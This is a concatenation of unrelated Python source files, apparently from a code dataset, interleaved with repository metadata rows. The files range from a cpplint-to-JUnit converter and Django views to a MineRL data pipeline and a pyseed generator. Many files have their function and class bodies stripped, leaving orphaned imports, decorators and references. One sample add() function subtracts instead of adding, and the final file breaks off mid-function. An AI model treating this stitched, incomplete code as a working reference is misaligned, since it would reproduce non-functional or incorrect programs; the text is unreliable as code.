# sparql endpoint in PMR
sparqlendpoint = "https://models.physiomeproject.org/pmr2_virtuoso_search"
# workspace url where we have all models
workspaceURL = "https://models.physiomeproject.org/workspace/267/rawfile/HEAD/"
# reference URIs of anatomical locations
lumen_fma = "http://purl.obolibrary.org/obo/FMA_74550"
cytosol_fma = "http://purl.obolibrary.org/obo/FMA_66836"
interstitialfluid_fma = "http://purl.obolibrary.org/obo/FMA_9673"
# solutes dictionary to map URI to name
dict_solutes = [
{
"http://purl.obolibrary.org/obo/CHEBI_29101": "Na",
"http://purl.obolibrary.org/obo/CHEBI_17996": "Cl",
"http://purl.obolibrary.org/obo/CHEBI_29103": "K"
}
]
# get channels and diffusive fluxes equations from source model
# user-defined function to append a substring of ODE based equations
# user-defined function to define ODE based equations
# insert ODE equations for lumen, cytosol and interstitial fluid component
# math for total fluxes in the lumen, cytosol and interstitial fluid component
# user-defined function to append a substring of total fluxes and channels equations
# insert equations for total fluxes
# insert equations for channels and diffusive fluxes
# assign plus or minus sign in the equations
# user-defined function to instantiate a time component and its variable attributes
# if v2 == None then variable comes from this component, e.g. environment.time
# else variable comes from other component, e.g. lumen.P_mc_Na where P_mc_Na comes from a source model
# concentration sparql query to get a list of concentration of solutes (chebi) in the (fma) compartment
# fma and chebi are two input values to this function
# add required units from the imported models
# instantiate source url and create an imported component in the import section of the new model
# process model entities and source models' urls
| 44.647773 | 127 | 0.599716 |
365d9e30b62ef2b43194d13cd3b143b547c83df7 | 2,383 | py | Python | epg_grabber/sites/beinsports_id.py | akmalharith/epg-grabber | ee6bdd20f7cbb4c780d96a8ce0fe2ca68b553c33 | [
"MIT"
] | 1 | 2022-03-16T00:42:21.000Z | 2022-03-16T00:42:21.000Z | epg_grabber/sites/beinsports_id.py | akmalharith/epg-grabber | ee6bdd20f7cbb4c780d96a8ce0fe2ca68b553c33 | [
"MIT"
] | null | null | null | epg_grabber/sites/beinsports_id.py | akmalharith/epg-grabber | ee6bdd20f7cbb4c780d96a8ce0fe2ca68b553c33 | [
"MIT"
] | 1 | 2022-03-17T17:16:30.000Z | 2022-03-17T17:16:30.000Z | from typing import List
import requests
from pathlib import Path
from datetime import date, datetime
from bs4 import BeautifulSoup
from helper.classes import Channel, Program
from helper.utils import get_channel_by_name, get_epg_datetime
TIMEZONE_OFFSET = "+0800"
PROGRAM_URL = "https://epg.beinsports.com/utctime_id.php?cdate={date}&offset=+8&mins=00&category=sports&id=123"
| 31.773333 | 111 | 0.61645 |
365ebdd95b4706dd8e23a6549e2d402adf342132 | 1,608 | py | Python | C19/19-1_Blog/blogs/views.py | Triple-Z/Python-Crash-Course | 7e59104420f6110e4d60668314264105534016ce | [
"MIT"
] | null | null | null | C19/19-1_Blog/blogs/views.py | Triple-Z/Python-Crash-Course | 7e59104420f6110e4d60668314264105534016ce | [
"MIT"
] | null | null | null | C19/19-1_Blog/blogs/views.py | Triple-Z/Python-Crash-Course | 7e59104420f6110e4d60668314264105534016ce | [
"MIT"
] | null | null | null | from django.shortcuts import render
from .models import BlogPost
from django.http import HttpResponseRedirect, Http404
from django.urls import reverse
from .forms import BlogForm
from django.contrib.auth.decorators import login_required
from .auth import check_blog_author
| 26.8 | 78 | 0.663557 |
365f44e59be4486a64ab3380f2d229d1dcacfbe6 | 34 | py | Python | SmartAPI/__init__.py | Kreastr/SmartAPI-HEILA | 97dbe9e6e27267c60a4f94f60692d5f391e2ef7f | [
"BSD-2-Clause"
] | null | null | null | SmartAPI/__init__.py | Kreastr/SmartAPI-HEILA | 97dbe9e6e27267c60a4f94f60692d5f391e2ef7f | [
"BSD-2-Clause"
] | null | null | null | SmartAPI/__init__.py | Kreastr/SmartAPI-HEILA | 97dbe9e6e27267c60a4f94f60692d5f391e2ef7f | [
"BSD-2-Clause"
] | null | null | null | import sys
import site
import os
| 6.8 | 11 | 0.794118 |
3660a38e9b27f00fca04ce1ae0246262cce312d3 | 3,455 | py | Python | cpplint_junit.py | johnthagen/cpplint-junit | 9de4ed6762fdb415e1ebe94f1cd82d2027c2b96f | [
"MIT"
] | 5 | 2016-02-15T19:24:46.000Z | 2020-05-12T12:35:24.000Z | cpplint_junit.py | johnthagen/cpplint-junit | 9de4ed6762fdb415e1ebe94f1cd82d2027c2b96f | [
"MIT"
] | 2 | 2019-10-14T12:25:38.000Z | 2019-12-15T18:34:34.000Z | cpplint_junit.py | johnthagen/cpplint-junit | 9de4ed6762fdb415e1ebe94f1cd82d2027c2b96f | [
"MIT"
] | null | null | null | #! /usr/bin/env python3
"""Converts cpplint output to JUnit XML format."""
import argparse
import collections
import os
import re
import sys
from typing import Dict, List
from xml.etree import ElementTree
from exitstatus import ExitStatus
def parse_cpplint(file_name: str) -> Dict[str, List[CpplintError]]:
"""Parses a cpplint output file.
Args:
file_name: cpplint output file.
Returns:
Parsed errors grouped by file name.
Raises:
IOError: File does not exist (More specifically FileNotFoundError on Python 3).
"""
with open(file_name, 'rt') as file:
lines = file.readlines()
errors = collections.defaultdict(list)
for line in lines:
line = line.rstrip()
match = re.search(r'(\S+):(\d+):\s+(.+)', line)
if match is not None:
error = CpplintError(file=match.group(1),
line=int(match.group(2)),
message=match.group(3))
errors[error.file].append(error)
return errors
def generate_test_suite(errors: Dict[str, List[CpplintError]]) -> ElementTree.ElementTree:
"""Creates a JUnit XML tree from parsed cpplint errors.
Args:
errors: Parsed cpplint errors.
Returns:
XML test suite.
"""
test_suite = ElementTree.Element('testsuite')
test_suite.attrib['errors'] = str(len(errors))
test_suite.attrib['failures'] = str(0)
test_suite.attrib['name'] = 'cpplint errors'
test_suite.attrib['tests'] = str(len(errors))
test_suite.attrib['time'] = str(1)
for file_name, errors in errors.items():
test_case = ElementTree.SubElement(test_suite,
'testcase',
name=os.path.relpath(file_name))
for error in errors:
ElementTree.SubElement(test_case,
'error',
file=os.path.relpath(error.file),
line=str(error.line),
message='{}: {}'.format(error.line, error.message))
return ElementTree.ElementTree(test_suite)
def main() -> ExitStatus: # pragma: no cover
"""Main function.
Returns:
Exit code.
"""
args = parse_arguments()
try:
errors = parse_cpplint(args.input_file)
except IOError as e:
print(str(e))
return ExitStatus.failure
if len(errors) > 0:
tree = generate_test_suite(errors)
tree.write(args.output_file, encoding='utf-8', xml_declaration=True)
return ExitStatus.success
if __name__ == '__main__': # pragma: no cover
sys.exit(main())
| 29.279661 | 96 | 0.58958 |
366122abcb50b723473f045b548942945acdfd8c | 3,633 | py | Python | opennmt/tests/text_test.py | gcervantes8/OpenNMT-tf | 8cfe999c7b71f8d10caa6fe2af80cdf81d2b8c90 | [
"MIT"
] | 1,363 | 2017-11-02T14:00:04.000Z | 2022-03-25T15:21:50.000Z | opennmt/tests/text_test.py | gcervantes8/OpenNMT-tf | 8cfe999c7b71f8d10caa6fe2af80cdf81d2b8c90 | [
"MIT"
] | 455 | 2017-11-02T13:23:07.000Z | 2022-03-23T08:45:30.000Z | opennmt/tests/text_test.py | gcervantes8/OpenNMT-tf | 8cfe999c7b71f8d10caa6fe2af80cdf81d2b8c90 | [
"MIT"
] | 429 | 2017-11-02T17:14:33.000Z | 2022-02-26T12:00:39.000Z | import tensorflow as tf
from parameterized import parameterized
from opennmt.data import text
if __name__ == "__main__":
tf.test.main()
| 36.33 | 84 | 0.496009 |
3661e55cade9d0047ddb0c329454134c08c3a612 | 4,277 | py | Python | test/test_px_proxy.py | wizzard/perimeterx-python-3-wsgi | 03aded2c868dda3ad198c1f3ee944c775557d818 | [
"MIT"
] | 1 | 2021-11-06T16:47:51.000Z | 2021-11-06T16:47:51.000Z | test/test_px_proxy.py | wizzard/perimeterx-python-3-wsgi | 03aded2c868dda3ad198c1f3ee944c775557d818 | [
"MIT"
] | 1 | 2020-08-31T10:50:25.000Z | 2020-08-31T10:50:25.000Z | test/test_px_proxy.py | wizzard/perimeterx-python-3-wsgi | 03aded2c868dda3ad198c1f3ee944c775557d818 | [
"MIT"
] | 4 | 2020-04-01T10:37:09.000Z | 2020-12-03T12:34:13.000Z | import unittest
import requests_mock
from werkzeug.test import EnvironBuilder
from werkzeug.wrappers import Request
from perimeterx import px_constants
from perimeterx.px_config import PxConfig
from perimeterx.px_context import PxContext
from perimeterx.px_proxy import PxProxy
| 45.989247 | 208 | 0.676876 |
36625b8ef7dfda999b8814af3148b3e2460eb4ae | 1,683 | py | Python | PI/Events/Event.py | HotShot0901/PI | 7e6fd0f68b4222e09ea825f27709ec5b1e51e928 | [
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"MIT-0",
"bzip2-1.0.6",
"BSD-3-Clause"
] | null | null | null | PI/Events/Event.py | HotShot0901/PI | 7e6fd0f68b4222e09ea825f27709ec5b1e51e928 | [
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"MIT-0",
"bzip2-1.0.6",
"BSD-3-Clause"
] | null | null | null | PI/Events/Event.py | HotShot0901/PI | 7e6fd0f68b4222e09ea825f27709ec5b1e51e928 | [
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"MIT-0",
"bzip2-1.0.6",
"BSD-3-Clause"
] | null | null | null | # This just shifts 1 to i th BIT
# This class is equvalent to a C++ enum
# This class is equvalent to a C++ enum
# It uses bitstream to represent flags, so
# a single Event can have multiple flags
def IsInCategory(self, category: int) -> bool:
return bool(self.CategoryFlags & category)
def __repr__(self) -> str:
return self.ToString()
class EventDispatcher:
__slots__ = ("_Event",)
| 26.714286 | 87 | 0.541889 |
36639a81d680c26726142c2d1b64012956deef78 | 19,831 | py | Python | src/minerl/data/data_pipeline.py | imatge-upc/pixelcoordEDL | 353632feed6ac8c93758c1a2a1b7a477e7ff053c | [
"MIT"
] | 1 | 2021-06-10T04:03:24.000Z | 2021-06-10T04:03:24.000Z | src/minerl/data/data_pipeline.py | imatge-upc/pixelcoordEDL | 353632feed6ac8c93758c1a2a1b7a477e7ff053c | [
"MIT"
] | null | null | null | src/minerl/data/data_pipeline.py | imatge-upc/pixelcoordEDL | 353632feed6ac8c93758c1a2a1b7a477e7ff053c | [
"MIT"
] | null | null | null | import collections
import functools
import json
import logging
import multiprocessing
import os
import time
from collections import OrderedDict
from queue import PriorityQueue, Empty
from typing import List, Tuple, Any
from itertools import cycle, islice
import minerl.herobraine.env_spec
from minerl.herobraine.hero import spaces
import cv2
import os
import numpy as np
import gym
logger = logging.getLogger(__name__)
from minerl.data.version import assert_version, assert_prefix
import copy
import tqdm
import queue
import minerl.data.util
from minerl.data.util import forever, minibatch_gen
import concurrent
from IPython import embed
if os.name != "nt":
def get_trajectory_names(self):
"""Gets all the trajectory names
Returns:
A list of experiment names: [description]
"""
return [os.path.basename(x) for x in self._get_all_valid_recordings(self.data_dir)]
############################
# PRIVATE METHODS #
############################
# Todo: Make data pipeline split files per push.
def batch_iter(self,
batch_size: int,
seq_len: int,
num_epochs: int = -1,
preload_buffer_size: int = 2,
seed: int = None,
include_metadata: bool = False):
"""Returns batches of sequences length SEQ_LEN of the data of size BATCH_SIZE.
The iterator produces batches sequentially. If an element of a batch reaches the
end of its
Args:
batch_size (int): The batch size.
seq_len (int): The size of sequences to produce.
num_epochs (int, optional): The number of epochs to iterate over the data. Defaults to -1.
preload_buffer_size (int, optional): Increase to IMPROVE PERFORMANCE. The data iterator uses a queue to prevent blocking, the queue size is the number of trajectories to load into the buffer. Adjust based on memory constraints. Defaults to 32.
seed (int, optional): [int]. NOT IMPLEMENTED Defaults to None.
include_metadata (bool, optional): Include metadata on the source trajectory. Defaults to False.
Returns:
Generator: A generator that yields (sarsd) batches
"""
# Todo: Not implemented/
for epoch in (range(num_epochs) if num_epochs > 0 else forever()):
trajectory_queue = queue.Queue(maxsize=preload_buffer_size)
jobs = [(f, -1, None) for f in self._get_all_valid_recordings(self.data_dir)]
np.random.shuffle(jobs)
trajectory_loader = minerl.data.util.OrderedJobStreamer(
job,
jobs,
trajectory_queue,
# executor=concurrent.futures.ThreadPoolExecutor,
max_workers=preload_buffer_size
)
trajectory_loader.start()
for seg_batch in minibatch_gen(traj_iter(), batch_size=batch_size, nsteps=seq_len):
yield seg_batch['obs'], seg_batch['act'], seg_batch['reward'], seg_batch['next_obs'], seg_batch['done']
trajectory_loader.shutdown()
###
# DEPRECATED API
###
def seq_iter(self, num_epochs=-1, max_sequence_len=32, queue_size=None, seed=None, include_metadata=False):
"""DEPRECATED METHOD FOR SAMPLING DATA FROM THE MINERL DATASET.
This function is now :code:`DataPipeline.batch_iter()`
"""
raise DeprecationWarning(
"The `DataPipeline.seq_iter` method is deprecated! Please use DataPipeline.batch_iter()."
"\nNOTE: The new method `DataPipeline.batch_iter` has a different return signature! "
"\n\t Please see how to use it @ http://www.minerl.io/docs/tutorials/data_sampling.html")
def sarsd_iter(self, num_epochs=-1, max_sequence_len=32, queue_size=None, seed=None, include_metadata=False):
"""
Returns a generator for iterating through (state, action, reward, next_state, is_terminal)
tuples in the dataset.
Loads num_workers files at once as defined in minerl.data.make() and return up to
max_sequence_len consecutive samples wrapped in a dict observation space
Args:
num_epochs (int, optional): number of epochs to iterate over or -1
to loop forever. Defaults to -1
max_sequence_len (int, optional): maximum number of consecutive samples - may be less. Defaults to 32
seed (int, optional): seed for random directory walk - note, specifying seed as well as a finite num_epochs
will cause the ordering of examples to be the same after every call to seq_iter
queue_size (int, optional): maximum number of elements to buffer at a time, each worker may hold an
additional item while waiting to enqueue. Defaults to 16*self.number_of_workers or 2*
self.number_of_workers if max_sequence_len == -1
include_metadata (bool, optional): adds an additional member to the tuple containing metadata about the
stream the data was loaded from. Defaults to False
Yields:
A tuple of (state, player_action, reward_from_action, next_state, is_next_state_terminal, (metadata)).
Each element is in the format of the environment action/state/reward space and contains as many
samples are requested.
"""
raise DeprecationWarning(
"The `DataPipeline.sarsd_iter` method is deprecated! Please use DataPipeline.batch_iter().")
def job(arg):
return DataPipeline._load_data_pyfunc(*arg)
| 40.554192 | 255 | 0.590742 |
3665bd678eff29512019ffaccbebf303e9c263a9 | 1,461 | py | Python | composer/trainer/devices/device_cpu.py | IanWorley/composer | e4d443012511b387ad495b4add3b3b101d729741 | [
"Apache-2.0"
] | null | null | null | composer/trainer/devices/device_cpu.py | IanWorley/composer | e4d443012511b387ad495b4add3b3b101d729741 | [
"Apache-2.0"
] | null | null | null | composer/trainer/devices/device_cpu.py | IanWorley/composer | e4d443012511b387ad495b4add3b3b101d729741 | [
"Apache-2.0"
] | null | null | null | # Copyright 2021 MosaicML. All Rights Reserved.
"""The CPU device used for training."""
from __future__ import annotations
import logging
from contextlib import contextmanager
from typing import Any, Dict, Generator, TypeVar, Union
import torch
from composer.core import Precision
from composer.trainer.devices.device import Device, T_nnModule
logger = logging.getLogger(__name__)
__all__ = ["DeviceCPU"]
T_nnModule = TypeVar("T_nnModule", bound=torch.nn.Module)
| 27.566038 | 97 | 0.687201 |
3666bf1e611ab935978f475b3bd8eb1fa7fa44ff | 4,208 | py | Python | experiments/generate-pdf/process_hypercluster_data.py | parasailteam/coconet | d3a7d22697686586d01ca8f55f40fd2cc8b755c1 | [
"MIT"
] | 5 | 2022-01-12T06:36:56.000Z | 2022-03-15T06:56:03.000Z | experiments/generate-pdf/process_hypercluster_data.py | parasailteam/coconet | d3a7d22697686586d01ca8f55f40fd2cc8b755c1 | [
"MIT"
] | null | null | null | experiments/generate-pdf/process_hypercluster_data.py | parasailteam/coconet | d3a7d22697686586d01ca8f55f40fd2cc8b755c1 | [
"MIT"
] | 1 | 2022-03-13T05:43:50.000Z | 2022-03-13T05:43:50.000Z | import os
import re
import json
import ast
import csv
import sys
import shutil
# ["allreduce-lambf16", "reducescatter-lamb-allgatherf16", "test-lambf16"] + \
# ["allreduce-adamf16", "reducescatter-adam-allgatherf16", "test-adamf16"] +\
all_binaries = ["adam-ar-c", "adam-rs-c-ag", "adam-fuse-rs-c-ag"] + \
["lamb-ar-c", "lamb-rs-c-ag", "lamb-fuse-rs-c-ag"] + \
["python3 optimbench.py --optimizer FusedLAMB --fp16", "python3 optimbench.py --optimizer FusedLAMB", "python3 optimbench.py --optimizer FusedAdam --fp16", "python3 optimbench.py --optimizer FusedAdam"] + \
["multi-process-adam-scattered lamb", "multi-process-adam-scattered adam", "multi-process-adam-scatteredf16 adam", "multi-process-adam-scatteredf16 lamb"]
all_gpus = [2**i for i in range(1, 9)]
all_channels = [2,16,32,64,80]
all_algos = ["ring", "tree"]
all_protocols = ["ll", "ll128", "simple", "default"]
all_sizes = [2**i for i in range(10, 30+1)] + [335708160]
bert_layer_size = 335708160
#Get data from the job's name
#Process stdout from each binary
# A Dictionary of Binary X # of GPUs X # of Channel X Algorithms X Protocols
full_data_dict = {}
for binary in all_binaries:
full_data_dict[binary] = {}
for gpu in all_gpus:
full_data_dict[binary][gpu] = {}
for channel in all_channels:
full_data_dict[binary][gpu][channel] = {}
for algo in all_algos:
full_data_dict[binary][gpu][channel][algo] = {}
for protocol in all_protocols:
full_data_dict[binary][gpu][channel][algo][protocol] = {}
| 36.591304 | 210 | 0.631654 |
36670d4de61ce049abde949e0e34089149ce236c | 3,409 | py | Python | examples/pytorch/tgn/tgn.py | ketyi/dgl | a1b859c29b63a673c148d13231a49504740e0e01 | [
"Apache-2.0"
] | 9,516 | 2018-12-08T22:11:31.000Z | 2022-03-31T13:04:33.000Z | examples/pytorch/tgn/tgn.py | ketyi/dgl | a1b859c29b63a673c148d13231a49504740e0e01 | [
"Apache-2.0"
] | 2,494 | 2018-12-08T22:43:00.000Z | 2022-03-31T21:16:27.000Z | examples/pytorch/tgn/tgn.py | ketyi/dgl | a1b859c29b63a673c148d13231a49504740e0e01 | [
"Apache-2.0"
] | 2,529 | 2018-12-08T22:56:14.000Z | 2022-03-31T13:07:41.000Z | import copy
import torch.nn as nn
import dgl
from modules import MemoryModule, MemoryOperation, MsgLinkPredictor, TemporalTransformerConv, TimeEncode
| 40.105882 | 104 | 0.573482 |
366765dfc3b501d93189b1860864e2cb97e5eb00 | 3,813 | py | Python | pyinq/printers/__init__.py | Auzzy/pyinq | 91cc13013931620458ae6b23abc1d4a3e5ded27f | [
"0BSD"
] | null | null | null | pyinq/printers/__init__.py | Auzzy/pyinq | 91cc13013931620458ae6b23abc1d4a3e5ded27f | [
"0BSD"
] | null | null | null | pyinq/printers/__init__.py | Auzzy/pyinq | 91cc13013931620458ae6b23abc1d4a3e5ded27f | [
"0BSD"
] | null | null | null | """
Copyright (c) 2012-2013, Austin Noto-Moniz (metalnut4@netscape.net)
Permission to use, copy, modify, and/or distribute this software for any purpose
with or without fee is hereby granted, provided that the above copyright notice
and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER
TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF
THIS SOFTWARE.
"""
import pyinq.printers.cli
import pyinq.printers.html
| 35.635514 | 88 | 0.647522 |
3667faea99d9e44cf1ec814efbac09de88c252f2 | 2,255 | py | Python | cassiopeia-diskstore/cassiopeia_diskstore/championgg.py | mrtolkien/cassiopeia-datastores | 1fbc6f9163ec4a5b4efdc892c219b5785f62b274 | [
"MIT"
] | 3 | 2017-11-22T20:38:18.000Z | 2018-09-04T07:48:55.000Z | cassiopeia-diskstore/cassiopeia_diskstore/championgg.py | mrtolkien/cassiopeia-datastores | 1fbc6f9163ec4a5b4efdc892c219b5785f62b274 | [
"MIT"
] | 12 | 2018-06-05T16:08:36.000Z | 2020-11-26T19:16:59.000Z | cassiopeia-diskstore/cassiopeia_diskstore/championgg.py | mrtolkien/cassiopeia-datastores | 1fbc6f9163ec4a5b4efdc892c219b5785f62b274 | [
"MIT"
] | 10 | 2017-11-14T18:59:10.000Z | 2020-09-17T15:18:29.000Z | from typing import Type, TypeVar, MutableMapping, Any, Iterable
from datapipelines import DataSource, DataSink, PipelineContext, Query, validate_query
from cassiopeia_championgg.dto import ChampionGGStatsListDto, ChampionGGStatsDto
from cassiopeia.datastores.uniquekeys import convert_region_to_platform
from .common import SimpleKVDiskService
T = TypeVar("T")
| 43.365385 | 124 | 0.66031 |
366887a1056798b43b8bf1750a891210075a1524 | 5,788 | py | Python | src/cogs/fun-commands.py | ShubhamPatilsd/johnpeter-discord | 40738f8df57f85275eb4887ab2ed9a9b96ba9e40 | [
"MIT"
] | 1 | 2021-07-08T09:03:08.000Z | 2021-07-08T09:03:08.000Z | src/cogs/fun-commands.py | vidhyanijadala/johnpeter-discord | 40738f8df57f85275eb4887ab2ed9a9b96ba9e40 | [
"MIT"
] | null | null | null | src/cogs/fun-commands.py | vidhyanijadala/johnpeter-discord | 40738f8df57f85275eb4887ab2ed9a9b96ba9e40 | [
"MIT"
] | 1 | 2021-07-08T09:03:04.000Z | 2021-07-08T09:03:04.000Z | import asyncio
import json
import os
import random
import re
import urllib
import urllib.request
from glob import glob
from os import getenv
from random import choice
import discord
from discord.ext import commands
from utils.cms import get_sponsor_intro, get_sponsor_audio
from utils.commands import only_random, require_vc, OnlyAllowedInChannels
| 35.292683 | 143 | 0.609537 |
3669ffcdb82515f7959090d8ec3b463fb0d9a6f3 | 1,175 | py | Python | aluraflix/tests/test_serializer.py | bonetou/django-rest-tests-documentation | a9e640e6425da560215d8f985a428d8eb90e09f9 | [
"MIT"
] | null | null | null | aluraflix/tests/test_serializer.py | bonetou/django-rest-tests-documentation | a9e640e6425da560215d8f985a428d8eb90e09f9 | [
"MIT"
] | null | null | null | aluraflix/tests/test_serializer.py | bonetou/django-rest-tests-documentation | a9e640e6425da560215d8f985a428d8eb90e09f9 | [
"MIT"
] | null | null | null | from django.test import TestCase
from aluraflix.models import Programa
from aluraflix.serializers import ProgramaSerializer
| 39.166667 | 96 | 0.667234 |
366b6bc762ff4618c8e2b630d09921664231bc91 | 53 | py | Python | 3_team/tests/unittest_sample_ng/sample.py | pyfirst/pymook-samplecode | 82321237c34515d287f28bd51ea86f870c1f5514 | [
"MIT"
] | 31 | 2017-09-27T14:54:39.000Z | 2021-05-26T14:03:44.000Z | 3_team/tests/unittest_sample_ng/sample.py | pyfirst/pymook-samplecode | 82321237c34515d287f28bd51ea86f870c1f5514 | [
"MIT"
] | 11 | 2018-03-11T05:28:14.000Z | 2022-03-11T23:19:36.000Z | 3_team/tests/unittest_sample_ng/sample.py | pyfirst/pymook-samplecode | 82321237c34515d287f28bd51ea86f870c1f5514 | [
"MIT"
] | 41 | 2017-10-21T04:45:56.000Z | 2021-07-16T14:12:33.000Z | def add(m, n):
"""mn"""
return m - n
| 13.25 | 20 | 0.490566 |
366bcb9133a5c3e67a13ed8806476e7eebec5689 | 16,720 | py | Python | src/pyseed/commands/gen.py | okosioc/pyseed | a4ee4bb6f005c9a9b80eafea45b91ddb7354fa91 | [
"MIT"
] | null | null | null | src/pyseed/commands/gen.py | okosioc/pyseed | a4ee4bb6f005c9a9b80eafea45b91ddb7354fa91 | [
"MIT"
] | null | null | null | src/pyseed/commands/gen.py | okosioc/pyseed | a4ee4bb6f005c9a9b80eafea45b91ddb7354fa91 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
gen
~~~~~~~~~~~~~~
Command gen.
:copyright: (c) 2021 by weiminfeng.
:date: 2021/9/1
"""
import argparse
import importlib.util
import json
import logging
import os
import re
import shutil
import sys
from typing import List
import inflection
from flask import request
from jinja2 import Environment, TemplateSyntaxError, FileSystemLoader
from werkzeug.urls import url_quote, url_encode
from pyseed import registered_models
from pyseed.error import TemplateError
from pyseed.utils import work_in
logger = logging.getLogger(__name__)
def _prepare_jinja2_env():
""" Prepare env for rendering jinja2 templates. """
#
# For more env setting, please refer to https://jinja.palletsprojects.com/en/3.0.x/api/#jinja2.Environment
# trim_blocks=True, the first newline after a block is removed (block, not variable tag!)
# lstrip_blocks=True, leading spaces and tabs are stripped from the start of a line to a block
# keep_trailing_newline=True, Preserve the trailing newline when rendering templates.
#
env = Environment(trim_blocks=True, lstrip_blocks=True, keep_trailing_newline=True)
def split(value, separator):
""" Split a string. """
return value.split(separator)
def items(value):
""" Return items of a dict. """
return value.items()
def keys(value):
""" Return keys of a dict. """
return value.keys()
def quote(value):
""" Add single quote to value if it is str, else return its __str__. """
if isinstance(value, str):
return '\'' + value + '\''
else:
return str(value)
def basename(value):
""" Return file name from a path. """
return os.path.basename(value)
def urlquote(value, charset='utf-8'):
""" Url Quote. """
return url_quote(value, charset)
env.filters['split'] = split
env.filters['items'] = items
env.filters['keys'] = keys
env.filters['quote'] = quote
env.filters['basename'] = basename
env.filters['urlquote'] = urlquote
def update_query(**new_values):
""" Update query. """
args = request.args.copy()
for key, value in new_values.items():
args[key] = value
return '{}?{}'.format(request.path, url_encode(args))
def new_model(class_name):
""" New a model by class name. """
klass = globals()[class_name]
return klass()
env.globals['update_query'] = update_query
env.globals['new_model'] = new_model
#
return env
def _gen(models_dir: str, seeds_dir: str, out_dir: str, template_names: List[str]):
""" Gen. """
logger.info(f'gen {models_dir} and {seeds_dir} to {out_dir}, using {template_names}')
if not os.path.exists(models_dir):
logger.error('No models folder')
return False
if not os.path.exists(seeds_dir):
logger.error('No seeds folder')
return False
if not os.path.exists(out_dir):
os.mkdir(out_dir)
#
# find templates from current folder
# TODO: Download template to current working folder
#
working_folder = os.getcwd()
logger.info(f'Working folder is {working_folder}')
templates = []
for g in os.listdir(working_folder):
p = os.path.join(working_folder, g)
if os.path.isdir(p) and g in template_names:
templates.append(g)
#
if not templates:
logger.error(f'Can not find any available templates by {template_names}')
return False
#
# Import models package
# 1. Find all the models definition in models package, please import all models in __init__.py
#
module_name = os.path.basename(models_dir)
module_spec = importlib.util.spec_from_file_location(module_name, os.path.join(models_dir, '__init__.py'))
module = importlib.util.module_from_spec(module_spec)
sys.modules[module_name] = module
module_spec.loader.exec_module(module)
#
# Load registered model schemas
#
models = {}
for m in registered_models:
models[m.__name__] = {'schema': m.schema(), **_generate_names(m.__name__)}
#
logger.info(f'Found {len(models)} registered models: {list(models.keys())}')
#
# Create context using contents in seeds_dir
# 1. Files in seeds_dir root folder are used as layouts
# 2. Only contains one level sub folders and each folder will be generated to a blueprint
# 3. Files in each blueprint folder will be genrated to views
# 4. Each view file contains var lines, i.e. !key=value, and seed grids
context = {
'models': models, # {name: {name, schema}}}
'layouts': [], # [layout]
'blueprints': [], # [blueprint]
'seeds': [],
}
logger.info(f'Seeds:')
for d in os.listdir(seeds_dir): # Blueprints
p = os.path.join(seeds_dir, d)
if os.path.isdir(p):
logger.info(f'{d}/')
blueprint = {'views': [], **_generate_names(d)}
models_by_name = {}
for dd in os.listdir(p): # Views
view = {'blueprint': blueprint, 'rows': [], 'seeds': [], 'params': {}, **_generate_names(dd)}
pp = os.path.join(p, dd)
logger.info(f' {dd}')
with open(pp) as f: # Seeds defined in views
for line in f:
line = line.strip()
if not line:
continue
#
key_value_found = re.match('^!([a-zA-Z_]+)=(.+)$', line)
if key_value_found:
key, value = key_value_found.groups()
#
# NOTES:
# 1. Variables name should be in snake format, i.e, two_words
# 2. Variables can be accessed in templates by view.params.field_name
#
value = _parse_varible_value(key, value)
view['params'][key] = value
else:
row = {'columns': []}
if '|' in line: # Nested column, e.g, a,b|c,d
for c in line.split('|'):
column = []
for cc in c.split(','):
cc = cc.strip()
seed = _parse_seed(cc, models)
if 'model' in seed:
models_by_name[seed['model']['name']] = seed['model']
view['seeds'].append(seed)
context['seeds'].append(seed)
#
column.append(seed)
#
row['columns'].append(column)
else: # Single level column, e.g, a,b
for c in line.split(','):
c = c.strip()
seed = _parse_seed(c, models)
if 'model' in seed:
models_by_name[seed['model']['name']] = seed['model']
view['seeds'].append(seed)
context['seeds'].append(seed)
#
row['columns'].append(seed)
#
logger.info(f' {line}')
view['rows'].append(row)
#
blueprint['views'].append(view)
blueprint['models'] = models_by_name.values()
#
context['blueprints'].append(blueprint)
else:
logger.info(f'{d}')
context['layouts'].append(d)
#
env = _prepare_jinja2_env()
#
# Iterate each template
#
for template in templates:
#
# Prepare paths
#
tempate_path = template
output_path = out_dir
if not os.path.exists(output_path):
os.mkdir(output_path)
logger.info(f'Generate template {template}: {tempate_path} -> {output_path}')
#
# Use depth-first to copy templates to output path, converting all the names and render in the meanwhile
#
for d in os.listdir(tempate_path):
_recursive_render(tempate_path, output_path, d, context, env)
def _generate_names(name):
""" Generate names. """
name_wo_dot = name.replace('.', '-') # e.g, plan.members-form -> plan-members-form
return {
'name': name, # => SampleModel
'name_lower': name.lower(), # => samplemodel
'name_kebab': inflection.dasherize(inflection.underscore(name_wo_dot)), # => sample-model
'name_camel': inflection.camelize(name_wo_dot, uppercase_first_letter=False), # => sampleModel
'name_snake': inflection.underscore(name_wo_dot), # => sample_model
'name_snake_plural': inflection.tableize(name_wo_dot), # => sample_models
'name_title': inflection.titleize(name_wo_dot), # => Sample Model
}
def _parse_varible_value(key, value):
""" Parse value accordig to the key. """
key = key.lower()
value = value.strip()
if key.startswith('has_') or key.startswith('is_'):
if value.lower() in ['1', 'true', 'yes']:
value = True
else:
value = False
elif value.startswith('[') or value.startswith('{'):
try:
value = json.loads(value) # Need to use double quotes for string values or key names
except ValueError as e:
logger.warning(f'Can not parse list or dict varible {key}={value}, use as string directly')
#
return value
def _parse_seed(column, models):
""" Parse column and return seed if any, e.g, post-query, post-read, user-form?is_horizontal=true.
model-action?params
"""
# params
params = {}
if '?' in column:
column, query = column.split('?')
for p in query.split('&'):
